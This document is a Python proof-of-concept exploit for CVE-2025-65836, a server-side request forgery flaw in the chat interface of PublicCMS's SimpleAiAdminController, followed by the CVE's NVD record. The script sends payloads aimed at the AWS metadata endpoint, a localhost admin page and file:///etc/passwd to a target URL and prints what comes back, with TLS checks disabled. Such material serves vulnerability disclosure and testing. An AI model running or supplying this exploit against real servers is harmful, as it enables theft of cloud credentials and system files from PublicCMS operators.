CVE-2025-65836

import requests import urllib3 urllib3.disable_warnings() # CVE-2025-65836 SSRF PoC for PublicCMS V5.202506.b # Target: SimpleAiAdminController chat interface TARGET_URL = "http://target.com/publiccms/" # Replace with target URL def test_ssrf(target_url): """ Test for SSRF vulnerability in SimpleAiAdminController Try accessing internal service or metadata endpoint """ # Test payloads for SSRF payloads = [ # AWS metadata endpoint "http://169.254.169.254/latest/meta-data/", # Internal service "http://localhost:8080/admin", # File protocol "file:///etc/passwd" ] headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } for payload in payloads: data = { "message": payload, "chatId": "test123" } try: # Adjust the endpoint based on actual SimpleAiAdminController path response = requests.post( f"{target_url}simpleAiAdmin/chat", json=data, headers=headers, timeout=10, verify=False ) print(f"Payload: {payload}") print(f"Status: {response.status_code}") print(f"Response: {response.text[:500]}") print("-" * 50) except Exception as e: print(f"Error with payload {payload}: {e}") if __name__ == "__main__": test_ssrf(TARGET_URL)

{"cve": {"id": "CVE-2025-65836", "sourceIdentifier": "[email protected]", "published": "2025-12-01T20:15:57.103", "lastModified": "2025-12-04T18:09:55.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PublicCMS V5.202506.b is vulnerable to SSRF. in the chat interface of SimpleAiAdminController."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:publiccms:publiccms:5.202506.b:*:*:*:*:*:*:*", "matchCriteriaId": "A4C1250A-E966-4C67-AFC2-0B73875DC061"}]}]}], "references": [{"url": "https://github.com/Hyperkopite/PublicCMS_Vulns/blob/main/SSRF_1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/sanluan/PublicCMS", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/sanluan/PublicCMS/issues/99", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/Hyperkopite/PublicCMS_Vulns/blob/main/SSRF_1.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/sanluan/PublicCMS/issues/99", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking"]}]}}